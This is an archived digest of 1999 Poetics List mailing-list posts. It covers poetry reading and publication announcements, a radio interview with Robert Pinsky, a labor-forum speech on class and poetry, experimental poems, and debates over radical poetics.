This is a call for sign-ups for a seminar on the shift in British (and Irish) cultural/poetic identity from modern to contemporary. The seminar which is to be led by Nancy K. Gish with invited participants Francis McGrath and Romana Huk--"Provincial to European: Constructing British Modernisms"--will take place at the "New Modernisms" conference, Oct. 7-10, 1999 at Penn State (University Park).

Description: How has political and poetic devolution in contemporary Britian challenged, displaced, or reconceptualized "English Literary Modernism" constructed as Eliot's continuation of "the mind of Europe?"

Seminars are small group discussions (of no more than 15) based on short (5-10 page) papers. For more information on how to sign up for the seminar or on the "New Modernisms" conference, contact me privately ([redacted]).

Cassandra Laity
On behalf of the steering committee

↑ Index

159. Poetry Project
next week
Fri 14 May 1999

On the horizon next week:

Monday, May 17 at 8 pm

Mary Burger & Rosa Alcala

Mary Burger's chapbook, Nature's Maw Gives and Gives, is forthcoming, or actually may be out by Monday from Duration Press. Inspired by Flamenco text and tradition, Rosa Alcala is the recipient of the Galway Kinnell Award in Poetry.

Wednesday, May 19th at 8 pm

change of readers*

Catriona Strang & Deidre Kovacs (Nanos Valaoritis has cancelled)

Catriona Strang's most recent publication is Steep from Seeing Eye Books. Deidre Kovacs is the editor of Big Allis, and her first book, Mannerism, will be out around the turn of the millenium.

No more Friday readings until October!! Tonight is the last one of the season: a reading by BIG BRIDGE contributors Bernadette Mayer, Phil Good, Wanda Phipps, Merry Fortune, Sharon Mesmer, Carl Watson and more, with a post-reading party. It all starts at 10:30 pm.

Visit our website at http://www.poetryproject.com

"From Archaeology
one moral, at least, may be drawn, to wit, that all our school text-books lie.

What they call History is nothing to vaunt of,

being made, as it is,
by the criminal in us:
goodness is timeless."

--W.H.Auden Archaeology: Coda

↑ Index

160. James Brook
TWO LINES reading in San Francisco
Fri 14 May 1999

For anyone who might be in San Francisco and at loose ends (rode the cable car, bought the T-shirt) Thursday evening, I'll be reading from a little-known book by Henri Michaux, Still the Two of Us. Other readers will offer other treats. . . .

--James Brook

*

Two Lines - A Journal of Translation is hosting a reading and publication party featuring world literature in translation from Fire, the 1999 issue. This event is cosponsored by PEN West.

Thursday, May 20, 1999, at 7:00 p.m.

The Hotel Rex Salon
562 Sutter Street
(between Powell & Mason, near Union Square)

For more information, see http://www.twolines.com.

Readers include--

James Brook, Henri Michaux's "Still the Two of Us" (French)

Sasha Vlad & Zack Rogow, Gellu Naum's "Heraclitus" (Romanian)

John Oliver Simon, Mirko Lauer's "Survival: Eight Stanzas of Commentary on the Words of the Buddha" (Spanish)

Elizabeth Bell, "Commitments," written by Parents & Teachers of Tierra y Libertad, Chiapas (Spanish)

L. R. Kiyama, Saigyo's "On Seeing a Painting of Hell" (Japanese)

Michael Koch, Francisco Hernandez's "Fire Signs" (Spanish)

Sam Grolmes & Yumiko Tsumura, Poetry by Ryuichi Tamura (Japanese)

Jen Hofer, Beatriz Escalante's "Immortality Spell" (Spanish)

*

To order the Fire issue, send $11.00 plus $2.00 shipping (California residents add 8.5% sales tax) to

Two Lines
P. O. Box 641978
San Francisco, CA 94164-1978

See the Web site at http://www.twolines.com

↑ Index

161. Tom Orange
CBC Radio interview with Robert Pinsky
Fri 14 May 1999

Interview with Robert Pinsky on "As It Happens," CBC Radio, 13 May 1999.

In Spring, everyone's fancy turns to thoughts of love, and that usually sets the poetry gene in motion. And poetry, we're told, is making a big comeback. Did you ever consider how many bits of verse you have in your mental, slim volume? Most of us have a little Joyce Kilmer rapturizing on trees, some Romantics, some Browning's "How do I love thee"; kids for sure love Dr. Seuss. But we're going to hear from an expert. These days, the person who knows more about the collective poetic consciousness than anyone is Robert Pinsky. Robert Pinsky is the American Poet Laureate. He's using the occasion of the 200th anniversary of the Library of Congress to assemble a collection of people's favorite poems. And so far, he has ten thousand. Robert Pinsky is in Boston.

Q: Mr. Pinsky, what so far is the United States' favorite poem?

A: As I remember, the number one poem so far is "Stopping By Woods on a Snowy Evening" by Robert Frost.

Q: Robert Frost. Could that be the only poem many Americans have read? It's very famous, isn't it?

A: I think it's probably the first one people recall, and it is an awfully good one. I remember at the reading at the White House where the President and Mrs. Clinton read, there was also a disabled war veteran who read, and he read from a wheelchair, and he didn't have to say anything about the poem; he read it and when he got to the end he said "And I have miles to go before I sleep / And I have miles to go before I sleep," and the determination and emphasis in his voice was a comment on how much he intended to do, how much he had to do, and that the wheelchair was not going to hold him back.

Q: Yeah. Now who are you hearing from in this project?

A: We have letters from every state in the Union, the Virgin Islands and Puerto Rico, we have a very wide range of professions, some of them are listed on the website at "favoritepoem.org", we have a circus acrobat, a beer vendor in the ballpark, a ditch- digger and a welder, and lots of M.D.s, quite a few teachers and librarians, and people from, I'm not sure what the youngest person is, probably around seven, and we certainly... in Seattle I remeber we had a hundred-and-one-year old woman read at the favorite poem event in Seattle.

Q: In other words, everybody.

A: Everybody's a good answer. Wish I'd thought of that.

Q: No, I like the detail better. This must be very heartening to a Poet Laureate?

A: These letters and the events have been immensely encouraging, and I can say emphatically and sincerely that they have refreshed my belief in the appeal of poetry.

Q: Were you surprised at all that so many people not only remembered poems and loved poems but were eager to tell you about them?

A: I would say that every day there's a surprise. And I'm not surprised that the art is appealing. I have after all given my life to it. But the forms that it takes, the range, how funny and moving some of the letters are, it's as surprising as life.

Q: But people do not go around declaiming poems very much. It almost as though they're embarrassed to admit they read poetry.

A: Well, the United States is a very various society, it's a very ecclectic and syncretic culture, and we don't have the kind of firm institutional place for some of these arts that Bedouins or Bengalis might have, and we've admired their cultures for what they have and we can admire this one for its variety, and there actually are situations it turns out in which Americans do read poems to one another or recite them. I have more than one letter from people saying that on a date two people discovered they had the same poem by heart and fell in love at the moment of discovering they knew the same poem.

Q: Well I guess there is that brief romantic interlude in your youth when poetry is really important...

A: I think that on the occasions of weddings, funerals, other important landmark events, people do turn to poems too.

Q: And I'm told there's something called "slamming" going on that has to do with poetry, is that right?

A: Yeah.

Q: What is that?

A: It's a name that they give to times when people recite poems and have judges evaluate the quality of the performance and the writing. And they're kind of popular events I understand.

Q: Now tell me about the other favorite poems. What other ones have come near the top of the list?

A: It's very heartening to see the range of tastes, and it's heartening to me to put together with my project director Maggie Dietz the favorite poem anthology and find that it's not hard at all to have a wide choice of letters about classic American poetry by Langston Hughes, Walt Whitman, Emily Dickinson, Wallace Stevens, and lots of letters from people who have a favorite Shakespeare poem for example.

Q: I was going to say, are they all American?

A: No, and they're not all in English either. We've had some quite beautiful poems in Persian, Native American languages, Yiddish, Italian, Portuguese and Chinese. There are Americans who love poems in many different languages.

Q: Any nice doggerel?

A: You know, almost every time I've been interviewed by anybody in broadcast, the people from Nantucket come up, and "There was an old man from Nantucket" is a question I'm often asked about. I don't know the whole database all the way through; I hope some people have Edward Lear, and I know there's some Lewis Carroll in there, and the great tradition of nonsense writing, and also the tradition of popular poetry. There are plenty of people who nominated Thayers' "Casey at the Bat," which is a very effective piece of writing.

Q: Oh right. And songs... when you said "popular poetry" I was reminded that some people would take a lot of song lyrics and would put that under poetry.

A: The test is whether it sounds good when anybody at all reads it aloud, not singing it, and not plugging [plucking?] it like an actor or a poet who's a veteran of the poetry-reading circuit. The test is does it sound good when you just say it.

Q: Yeah, poetry has to be read aloud, doesn't it?

A: The distinction I make is that it is a vocal art, not necessarily a performative art. What's special about poetry for me is its medium is the human body, but not an expert's body. It's the body of the audience's reader [audience as reader?]. You say an Emily Dickinson poem or a Wordsworth or a Paul Laurence Dunbar to yourself or to one or two friends, your body, your voice is that artist's medium.

Q: Do most of the poems that are submitted rhyme?

A: I haven't counted, partly because, as far as I'm concerned, all poems rhyme. That is, rhyme is a degree of likeness in sound, and so-called "free verse" poems always involve likeness and unlikeness in sound. So I don't make a hard distinction between poems that rhyme and poems that don't rhyme myself. I know what you mean and I haven't counted.

Q: Yeah. Tell me a little bit more about the letters as you read them. I mean, do you find yourself surprised to discover what is a welder's favorite poem?

A: I believe the ditch-digger had Shakespeare and I think the welder was a Japanese poem...

Q: Well, there you go...

A: But imagine reading a letter from somebody saying, "This is a poem that my mother asked my to say to her as she was dying," or a letter that says "This poem makes me think of the no-good bastard that I married..." Or, uh,...

Q: Which one was that? Not, which no good..., you know, but which poem?

A: "Eros Tyrannos," by Edwin Arlington Robinson...

Q: I don't know that...

A: ... one of my personal favorite poems... Oh, it's a great great poem.

Q: Oh yeah? OK, we'll look that up. Any other lovely stories, examples?

A: I could pick up a fistful of them if they were in front of me and read you intersting letters. On the website you hear from Bridget Sterns from Alaska who talks about the Alaska winters and how often people get depressed in those winters. And she says in her very bright, alive voice that one winter it was her turn. You can hardly picture this voice being depressed, but she said she was, and then she reads Stevie Smith's poem "Not Waving But Drowning" and talks about how the irreverance and sort of baudiness of the poem helped penetrate the fog between her and other people when she read it to them. It's on the website, and right on that same--it's the part called "The Story"--you can hear Rudolph Awkson [?] who's a retired parole officer from Baltimore, and he talks about a Langston Hughes poem that he used to read to his clients, and one day a young man recited to him from memory.

Q: Do you have a favorite poem?

A: No. I don't encourage people to have a single favorite poem...

Q: It's hard to pick one... sure, impossible...

A: ... point is, a favorite poem... Sure, I mean, I have about two or three hundred favorite poems. And I encourage people who write to us to write more than once.

Q: Oh, they're allowed to do that are they... They don't have to pick just one?

A: Oh, of course... And mine would include "Sailing to Byzantium," "Ode to a Nightingale," I mentioned "Eros Tyrannos," Hardy's "The Darkling Thrush," Dickinson's "It Was Not Death" or "Further in Summer than the Birds"... There are lots.

Q: What are you going to do with all of this?

A: The website, I hope, will get bigger and bigger...

Q: The website's just going to stay up?

A: I hope it will stay up forever and get more and more people reading more and more poems on it.

Q: OK.

A: On April 3rd and 4th of the year 2000 there will be a conference at the Library of Congress in which we'll show the first fifty videos, and scholars and poets and critics can talk about the topic which is "Poetry and the American People," and we'll have people there who studied literacy, studied book-buying patterns over the decades. And I hope another product of the project will be educational materials, videocassettes or tapes where the teacher, instead of showing the kids a professor talking about a poem or an actor reading it, kids can see somebody who runs a store, or a homeless person, or an M.D., or another kid reading the poem aloud and describing the personal, individual importance of the poem.

Q: The videos that you're going to be showing are videos you're making?

A: Yes. That's the point of the project is to create 200 videos and another 800 or so audios of a variety of people reading a variety of poems and saying why they like them.

Q: I've long thought there should be a poetry show on radio, don't you think so?

A: I think that poetry is a natural for radio.

Q: Because the voice is so important...?

A: Yeah. It's a vocal medium and it doesn't take a long time, it's very compressed. I've been reading poems on the PBS Newshour with Jim Lehrer, and the response to that has been kind of good.

Q: Do you want to read one now?

A: Well, sure. What length poem are you interested in?

Q: Well, short-ish, you know?

A: Shortish. OK,...

Q: One of my favorites is only five short lines long, see if you can beat that...

A: Well, I know a good one with two lines long: "On love, on love, on grief, on every human thing, time sprinkles Lethe's [?] water with his wing." That's by Walter Savage Landor. Here's "Love Song" by William Carlos Williams. [Reads.]

Q: Mmm. Good choices. Are Canadians allowed to write to you?

A: Canadians are allowed to write to me. I'm not sure how many of them we'll be able to get into the archive, but we're not discriminating against Canadians.

Q: OK. It's been lovely to talk to you. Thank you so much.

A: Very nice talking to you, my pleasure.

Q: Bye bye, Mr. Pinsky.

A: Bye.

Robert Pinsky is the American Poet Laureate and he spoke to us from Boston. Mr. Pinsky's favorite poem is displayed along with many others on a website. You can reach it via the internet at: www.favoritepoem.org. That's "favoritepoem," one word -- and remember it's the American spelling of "favorite" without a "u." One of the most popular poems people submitted was Willima Carlos Williams' little verse entitled "This is just to say," and lucky me, I get to read it. [Reads.]

↑ Index

162. Kevin Magee

Re: Poetry 101, crude binaries, & the standard of Beauty (gasp?)

Fri 14 May 1999

To the List:

Going through old papers I came across this document which I don't remember or not whether it was circulated around SF at the time, but thought it might be a useful contribution to the question of social class and how it intersects with contemporary poetries re recent discussions of the same. Though this speech was given to an audience of mostly political activists who work in the industrial unions, I remember at least that Bev Dahlen and Jalal Toufic were in the audience.

[Militant Labor Forum] [SF / late spring 1995]:

I was in Vancouver last weekend among a hundred others or more to celebrate the 70th Birthday of one of this century's great poets. On the first night, making a few introductory remarks, one of the conference organizers drew attention to a misprint in the banner that hung on the podium: THE RECOVERY OF THE PUBLIC WORLD, a conference and poetry festival in honor of Robin Blaser, his poetry and--instead of poetics, what it was suppose to say--there was the word: politics. As it turned out, after hearing Robin talk, the mistake was more an emendation, so under the sign of that printer's substitution of the word politics for poetics, I'd like to pay attention to the phrase "class politics" which appears on the flyer for tonight's forum. Robin Blaser's opening night address to the festival in Vancouver gave to the event a crucial historical dimension. I heard something in his speech that I didn't hear either at the New Freedoms Conference in New Jersey in 1994 or at the New Coast Conference at Buffalo, New York in 1993. Against the backdrop of remembering the Jewish philosopher Hannah Arendt and her personal experience of the Holocaust, and with distinct and direct reference to our own contemporary moment increasingly dominated by news of regional wars, what Milton Chee in his talk here on Chechnya a short while back called "bleeding wars," Robin--like Milton--spoke of the very real possibility of a third world war. The other thing that I heard for the first time was the expression, "literary communism," which Robin said he was taking from an essay by that name by the French philosopher, Jean-Luc Nancy. That we are writing and making art under the approaching threat of an ocean of blood that would bear the unbearable name of World War III, and that there are philosophers in the West who even in their monastic seclusion from situations of real destruction are arriving in their speculations towards a name that has been fought over for a century and a half now, a duration that is nothing less than a measure of our modernity, the historical period which begins with industrialization of Europe and out of which irrupts the Communist Manifesto--that fundamental, inaugural document which begins with a struggle for definition, the need to come out with what the name, communism, really means, and put the lie to the nursery tale of the chamber of horrors which it is NOT--this was the starting point for Marx and Engels in their declaration of class war, and it's wonderful to see the word used in a philosopher's essay, and hear it quoted at a conference attended by poets and scholars. Communism is more than a name, it's always more than a name, and yet it is AS a name that Lenin is talking about it when he starts a sentence with the admonition: "Communism will become an empty word, a mere signboard, if--[.]" I heard Mary Lou Montauk, in her recent talk here on the Irish Question, quoting Lenin, say: "in volume 39 I found a gem." My quote, my gem, is from a speech delivered at the Third All-Russia Congress of the Russian Young Communist League, October 2, 1920, reprinted in a volume called Lenin: On Literature and Art. This fragment of a sentence from Lenin entered my notebook as an instance where one of this century's great revolutionaries was marking the danger of words being emptied of their meaning. As far as I'm aware, none of the panelists at the Vancouver conference returned either to Robin's shadowing in the threat of a third world war nor his bringing in the phrase, "literary communism." What I did hear from the many participants was a compulsive repetition of the word "community," which word got debunked on the last day of the conference by Kevin Killian in his exposé of the rotten social and cultural conditions behind Robin Blaser's relocation from San Francisco to Vancouver in 1965. In that year, in Killian's words, Robin was "excreted" north, his friend Jack Spicer (one of the few poets from the United States proletariat to make it anywhere near creative maturity) was dead of alcoholism at the age of 40, and their mutual friend and mentor Robert Duncan went on to carry the mantle of Monarch of the Clouds. We are in a system that runs on human waste, and poets are not excluded from this system, are in fact too often casualties of an insidious extermination process called Private Competition, and it spells the death or mangling of way too many of us. The catastrophe of the Prevented Poet belongs to the history of a class-divided culture. There was an art work at Vancouver in the museum across the street from where the conference was held, a bust of Jack Spicer, and its sculptor's strange name was: Anonymous. Kevin Killian or Scott Watson--I can't remember which--told me Robin simply couldn't remember who she was. Maybe it was she who Robin was thinking at that moment in his talk the first night when he said he could not name them all, "there were so many," that group of writers called the Blaser/Duncan/Spicer circle, a sphere of mutual influence and inspiration which suffered such severe contractions, and expulsions. The "dream of a perfect exteriority" is an expression of the Italian philospher, Giorgio Agamben, another thinker contributing to Robin's talk. Agambem writes this in an essay called "Without Class" which sketches an almost gothic image of the world's true

Frankenstein, a social body Marx identified as 'the Mountain' in 1848, a global petit-bourgoisie bent on its own self-destruction and bent as well on taking with it the Proletariat whose existence it symptomatically continues to deny and whose leadership it has historically refused to recognize. Marx tells an early version of this story in the Eighteenth Brumaire as part of an analysis of events which turn in a tightening cycle of reaction and right-wing terror. On an ending note and to counterpose to Agamben's own horror picture of a world "without class," I'd like to read a short passage from a poem I wrote using words I heard Pat Grogan use at another Militant Labor Forum in 1988, in Des Moines, Iowa. I think she is talking here, like Agamben, about both a politics and a poetics of "perfect exteriority":

The standard of Beauty
a terrific suffering

Have you ever seen a picture of a picket-line?

South Africans, strikers, their fists in the air the surrounding spatial environment their outward extension into space a real contribution to consciousness try to distinguish an individual face impossible. Women do not devalue human life they assert the value of their own life and that is a radical statement in this society

anarchy the fact of being female children everything we have to give

I don't write to educate my class. The working class teaches me and inspires me with every strike, every picket line, every sign raised in open protest. I'd like to believe at least that with every page I write I'm trying to express a version of the experience and aspirations of my class, the "World Proletariat," to use words Mark Curtis wrote to me in a letter from prison many years ago, and these aspirations, these hopes and dreams, these IMAGINATIONS, are not individual and have everything to do with the desire to be free of all forms of private property. Each according to their ability, each according to their needs, each according to their desiring who are called to the names and acts of naming which, for the sake of convenience only, I call the Art of Poetry.

Note 1: Remembering the Vancouver conference today I would only add to the foregoing the following (constructive) criticism:

It was a charity of consumption only, as Rosa Luxemburg pointed out, "In this version of charity--of loving relations expressed as a community of consumption, with the Christian board and breaking of bread as its natural images, and the feast as its social consummation, prolonged into periods and societies in which it became peripheral or even damaging--when a charity of production--of loving relations between women and men actually working and producing that which is in whatever proportions to be shared--was neglected or suppressed by an uncritical reference to a charity of consumption, an eating and drinking communion, which when observed by an ordinary working person was inevitably a mystification.

Note 2: On the subject of the crude binary distinction between petit-bougeoisie and working class, the most telling sentence for me in Trotsky's History of the Russian Revolution is: "Stalin communicated the motion by telephone." There is a world of concerns in this on the subject of social class, open and closed forms of communication, etc., though I don't quote LT's History uncritically, because he deletes Inessa Armand entirely (she doesn't even exist in a footnote) who was head of the women's section of the CCCP at the time of her death in 1920 and whose funeral was attended by representatives of feminist organizations around the world and--by two eyewitness accounts--a stumbling, mute, shattered Lenin, suffering, perhaps, the first seizure in a series of strokes that would claim his life shortly after.

↑ Index

163. Alan Sondheim
where and how they lived
Fri 14 May 1999

)o(

where and how they lived

Heidegger's Black Forest hut or home, where the wall felt its way down into the earth
Brecht's apartment where the ceiling exposed itself as someone's floor
Mayakovsky's yurt in high wind, designs shivering like flags
Bachelard's stone walls leading to more stones and still more stones Derrida's thin tent where you can see the thin bows strung across skins and more skins and still more skins earth and skins and bones flags and floors and skins bones and earth and floors skins and flags and earth

Bachelard swept Heidegger's hut and you should see the shine
Mayakovsky waxed Brecht's floor to a subtle sheen Derrida and Mayakovsky traded secrets of the wind flags of the wind sheen of the skins
there's more of the bone's shine more of the bones

↑ Index

164. P.Standard Schaefer

Re: Poetry: telic or not

Fri 14 May 1999

In a message dated 5/14/99 9:11:38 AM Pacific Daylight Time, [redacted] writes:

<< S. Schaefer problematizes the continuity between radical poetic theory and practice. This aspect of his argument seems persuasive, particularly in the context of Prunty's post, as no poem seems likely to come close to approaching the extremity of the aesthetic experience Lakoff describes. Schaefer on the other hand does not seem to sufficiently problematize poetry's relationship to tradition & with his attacks on the LangPos a certain amount of generational anxiety is clearly evident. But I think his concern with establishing parameters for aesthetic judgement have merit -- not as prescriptions, or "standards" -- but as a means of asking -- for framing the question -- "What is the possibility of poetry today?" >>

What Schaefer was trying to do had very little to do with history/tradition since Schaefer believes the very ideas are in question largely because of the co-opting of the arts by institutions. Schaefer prefers to leave that particular work to the writers of dissertations, who will surely in the process create a new history and new tradition. However, the issue of the relation between "radical" poetry practice and the "radical" theoretical apparatuses (often very clumsy ones at that) is a big concern. What I was trying to contend in my essay is that "radical artfice" and "indeterminacy" often coincide with a poetic practice that looks an awful lot like a struggle between academics and their discursive efforts to control the determination of good poetry. In concrete terms, this means that we who believe that radical politics is at least possible cannot mistake the act of simply writing vague, fragmented, ambiguous etc poems with the changing of the business of poetry. The business of poetry is all the various devices, contraptions which do the actually judging of poetry and that lead to a belief that the only important writers are those who are being written on (cf. the writers of dissertations). What I commend Jeff Clark for in my essay applies to Garrett Caples, Martin Corless Smith, Cathy Wagner, Tracy Grinnel, Emily Grossman, Brian Lucas and other "non-allied" poets.

I commend these poets' refusal to use theory as a way of justifying their own work as either socially relevant or "radical" or even "progressive" or even necessary. I also commend them for not falling into the (fake) hermeticism of the mainstream.

A refusal to play poetry for tenure, promotion, etc may be the most politically effective gesture yet because as along as poetry resembles business, some way to join the firm or succeed in school, we cannot have "radical" poetries. I commend their humility and I believe that it will go along way farther to counteracting the self-aggrandizing, self-promotional carreerist tendencies that have arrisen out of an american poetic- theoretical nexus associated with "collapsed subjectivity". The decentered poem does nothing, but when it is consecrated by a host of Hank Lazers, Marjorie Perloffs, and so forth a very real subjectivitiy is made: the celebrity poet.

Don't get me wrong: for instance, I wouldn't against magazines atempting to get distribution by creating a board of influencial politocs and poetrists. In fact, I might even recommend it. It seems efficacious. I just don't think such practices can be called radical. Nor do I believe that poets should not be theoretical. I just don't believe they should use the business of theory to create reputations, distinctions or brand names. I would hope the theory would lead to more interesting poetry, more diverse poetic techniques.

Incidentally, while I was at Page Mothers, I thought that this was sort of what Marjorie Perloff was saying: there is a lot of mediocry langauge poetry, but very little being said by langauge poets about what neccessitates their particular techniques. I believe she meant that they should stop patting each other on the back and maybe even tussle. (Now, how they do this without resorting to discursive acts like the "literary essay" I don't know, but I'm pretty sure that Perloff would not be as hessitant as I am about such tactics). One of the most important points Perloff makes in POETICS OF INDETERIMINACY is, if I recall, in the chapter on Stein where she discusses the difference between indeterminacy and ambiguity. There her formalism is at its finest: she shows in detail what made Stein great and what her imitators were not too clear about.

One last point, slightly off topic point, there's an essay in VIEWS FROM WEAVING MOUNTAIN by Nathaniel Tarn (an out of fashion radical with a long list of distinctive poetic/political/academic accomplishments) wherein he

"theorizes" (might just say "avers") that writers do not have to write from a fragmented self to avoid the dangers of the ego. The dangers of a strong ego are relatively slim: the ego is but one tiny portion of the self, for example, and is easily counteracted by a number of forces like television, film, pop music not the least of which is history. It is in an interesting time to consider whether or not a writer should possess a strong ego and whether or not the language school's post-humanism was every anything but the proliferation of the ego by new means, in new modes.

The final sentence of my much maligned essay states that it is time to change the terms of the debate. I would go so far to wonder whether or not it should be a debate at all.

↑ Index

165. Erika Stephens
Excessively Disruptive Telos
Fri 14 May 1999

I think Jacques' comment (reproduced below) is interesting and valuble. However he does largely misconstrue what Prunty and Lakoff are refering to. He has picked up and rather magnified the word "disrupt." Best thing is to look at the context of the quote: the work of Arakawa and Gins is not wild antinomian crash bam boom. It is highly "classical" in many respects. The type of disruption Lakoff was refering to in their work is not brusque, threatening or transgressive; it is meditative disruption, if you will. And i think that that informs some of what Randy means by putting the quote forward.

As for Standard Schaefer's essay, of course jacques is right to suggest that generational anxiety is largely behind its strictures (or rather, generational and individual); intemperate and non-substantive fuming at "Marjorie Perloff and her cronies" is pretty funny, but is definitely not a reasoned comment on the poetry of the last 3 decades.... But SS's strikingly eliotic call for "parameters of esthetic judgment" is something else again... Presented as it is in Rhizome, without examples or context, it seems a deliberately arch-conservative move. What parameters does Jacques agree we must adhere to?? Spell 'em out, pardner! Your (JD's) own work, tho i haven't seen it for some months, has certainly been powered by a gnomic determination to launch fresh forms, with intertexual and deep-textual and graphic elements of great originality. If not disruptive, it is at least a touch unruly. But if there are rules for the unruly, it would be interesting to hear 'em.

In the last few days i've been looking at Bruce Andrews' Ex Why Zee, which i highly recommend. It is a collection of fugative performance pieces, collaborations, worked-thru texts, etc. I would present it as good example of the best writing of our period... Antinomian, i guess you'd say..But with a higher (and different) energy-level, on the surface, than Bromige. (Tho i think he deserves the appellation, which i look on as a compliment, as well..)

Blake brought something back from hell, something about roads & palaces, excess & wisdom...

excessively,
mark prejsnar
@lanta

> In a message dated 5/13/99 11:10:03 AM, [redacted], quoting George Lakoff, writes:
>
> <<"The increasing violence and destruction in the world - physical, ecological, economic, social, and emotional - are all a product of our present modes of thought. If the cruelty is to end, our concepts must change. Since concepts are physically encoded in the brain and grounded in the body, our brains and bodies must change. If art is to play a role for the good, it must disrupt our concepts, our normal ways of functioning - our brains and our bodies. Art as disruption is art as a moral force. Disruption is an aesthetic experience, and an aesthetic experience of this kind is inherently moral. Moreover, disruptive art on a large-enough scale will be sufficient to reverse our destiny, so that the violence and destruction can end.">>
>
> *This is extremely interesting. But one of the difficulties here, in respect of poetry, seems to me precisely one of "sufficiency of scale." Nor is disruption something diametrically opposed to violence & destruction obviously -- the problem it seems to me is rather that, at a time when the history of art is arguably over, & the most extreme aesthetic violence -- Artaud's say -- is merely a "style" that one cannot avoid "quoting" (the problem for example -- despite it's brilliance -- with Novarina's work) can art really be said to have retained a capacity for disruption? In the essay that precipitated J. Lowther's & R. Prunty's posts to the List, S. Schaefer problematizes the continuity between radical poetic theory and practice. This aspect of his argument seems persuasive, particularly in the context of Prunty's post, as no poem seems likely to come close to approaching the extremity of the aesthetic experience Lakoff describes. Schaefer on the other hand does not seem to sufficiently problematize poetry's relationship to tradition & with his attacks on the LangPos a certain amount of generational anxiety is clearly evident. But I think his concern with establishing parameters for aesthetic judgement have merit -- not as prescriptions, or "standards" -- but as a means of asking -- for framing the question -- "What is the possibility of poetry today?" since it is not, I don't think, the sort of Antinomian practice that, for instance, David Bromige seems to imply it is.*

↑ Index

166. hofermr
sf reading saturday may 15
Fri 14 May 1999

For those of you within shouting range of San Francisco:

Jenna Roper Harmon & Jen Hofer & Jamen Howe will be reading

saturday
may 15
6:30 p.m.
new college of california cultural center
766 valencia street
the event is free

accompanied by a debutante celebration for two new a+bend chapbooks:

SAYING NO. 3
by Jenna Roper Harmon

&

as far as
by Jen Hofer

to order chapbooks write the editor:
Jill Stengel
a+bend press
3862 21st street
San Francisco CA 94114
or [redacted]

↑ Index

167. Chris Stroffolino
MOXLEY ADDRESS....
Sat 15 May 1999

Does anybody have Jennifer Moxley's current address?
Anybody know if they're still (in motion) in Paris?

Please send it me, I must send her something she blurbed, and should do it soon,.....

By the way, her new little chapbook is out, and great...

thanks in advance, chris stroffolino

↑ Index

168. ken|n|ing
Kenning #4 now available
Sat 15 May 1999

Attention attention:

Kenning #4 (Spring 99 issue), Vol. 1, No. 2

Poetry:
Elizabeth Treadwell
Louis Cabri
Chelsey Minnis
Leslie Scalapino
Mark Prejsnar
Bill Luoma
Sheila Murphy
Patrick Pritchett
Mac Wellman
Lisa Samuels
Kathy Lou Schultz
Anselm Berrigan
Bill Freind
Eileen Myles
Poetics:
Dale Smith (on Metcalf)
Reviews:
Rachel Blau DuPlessis by Patrick F. Durgin
Joan Retallack by Katherine Lederer

$5.00 sample copy
$9.50 two-issue subscription
(checks payable to Patrick F. Durgin)

Contact information below... Patrick

k e n n i n g_____ a newsletter of contemporary poetry poetics & nonfiction writing _____http://www.avalon.net/~kenning 418 BROWN STREET #10 IOWA CITY IOWA 52245 USA

↑ Index

169. Gregory Severance
Jullich poetry on the web
Sun 16 May 1999

http://www.walrus.com/~morocco/coco/jeffrey.html

Newly available on the web (url above):
eleven poems by JEFFREY JULLICH

These poems were previously published in various print journals during the period 1977-89. Jullich is the author of the April '99 Poetics List posting: "D=E=E=N".

syllable completes tWell, all the votes seem to be in (what it mean?), and the the Hejinian semi-word deen or what does n, 1 for deem, and 1ally is: 3 for Aberdeen, 1 for muhajidee [cut-up of the opening of "D=E=E=N"]

These poems are presented in the E-anthology: ~Co-Conspirators~.
Gregory Severance, editor
http://www.walrus.com/~morocco/coco/

& GS = [redacted] &
& GS = http://www.walrus.com/~morocco/ &

↑ Index

170. Alan Sondheim

Neurotic Fragment

Sun 16 May 1999

,,,

Neurotic Fragment

I love Holderlin.
Perhaps you could oh please tell me more and more about some neurotic experiences you have had with Holderlin.
Obtuse. Nothing to report on. Misery and exhileration.
What makes you yearn and cry that you love her all your heart?
Oh she is me to be me and free see.
Why must you respond so briefly?
Fuck you!
Please, you do so turn me on, continue!
Fuck you fuck you!
Would you please clothe yourself in these unwholesome thoughts.
Oh yes fuck you!
Why don't you oh please do finger yourself.
Oh I'm fingering myself!
What makes you believe you are fingering yourself?
Fuck you!
Do so come on to me and we will be not neurotic.
We are neurotic! Live with it!

↑ Index

171. Elizabeth Treadwell
New from Double Lucy Books
Sun 16 May 1999

Double Lucy Books proudly announces the publication of the first in our 1999-2000 prose series,

LOVE SENTENCE a novella by LYNNE TILLMAN

excerpt at http://users.lanminds.com/dblelucy/page30.html

Lynne Tillman lives in New York City. Her latest novel, _No Lease on Life_, was nominated for a 1998 National Book Critics Circle Award in fiction. Her next book is _Bookstore: The Life and Times of Jeannette Watson and Books & Co._ to be published October 1999 by Harcourt Brace.

Love Sentence, Lynne Tillman, Double Lucy Books, 1999
$6, ppd, from the address below (checks to E. Treadwell)

****

DOUBLE LUCY:

1997-98 poetry series:

Home of Grammar, Sarah Anne Cox
The Marriage of the Well Built Head, Yedda Morrison
Eve Doe (becoming an epic poem), Elizabeth Treadwell

1999-2000 prose series:

Love Sentence, Lynne Tillman
Lucy House: an anthology of prose, Ed. Carol & Elizabeth Treadwell

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/dblelucy

↑ Index

172. Harold Teichman

Silk Peirce or sow's ear? Howe now, Fourcade?

Sun 16 May 1999

We heard Dominique Fourcade and Susan Howe read last night at Dia, in the big hall currently flanked by Warhol'd walls across the street from the museum, a reading I had been looking forward to for some time. The venue is not bad, but barely enough chairs had been provided for the impressive crowd, and there was no ventilation in the stuffy hall.

Fourcade was nicely introduced by Charles Bernstein (who also read the English versions of his work), and we learned that this was his first-ever US reading, giving it a special air. His quiet, pleasant voice was amplified, but not quite enough to prevent my straining to hear, even in the second row. He read the first 8 poems in 'Rose declic' and then some newer material, going on for at least 45 minutes, I would say. His work often reminds me of Apollinaire, the beginning of 'Rose declic' being a little like 'Zone', not surprising in view of the fact that he has curated Matisse exhibitions. His spoken phrases were often delivered in a hushed sub-chant, almost ecclesiastical, reminding me of the gospel readings in an early-60s recording I have of German Benedictines chanting a Latin mass. Bernstein's tone, cadence and emphasis were very different in his readings of the translations, of course. This raises the question for me once again whether the reader of translations ought ideally to try to ape the speech-rhythms of the author, if she knows them--I don't have an answer to this. A very satisfying reading, maybe just a bit over-long.

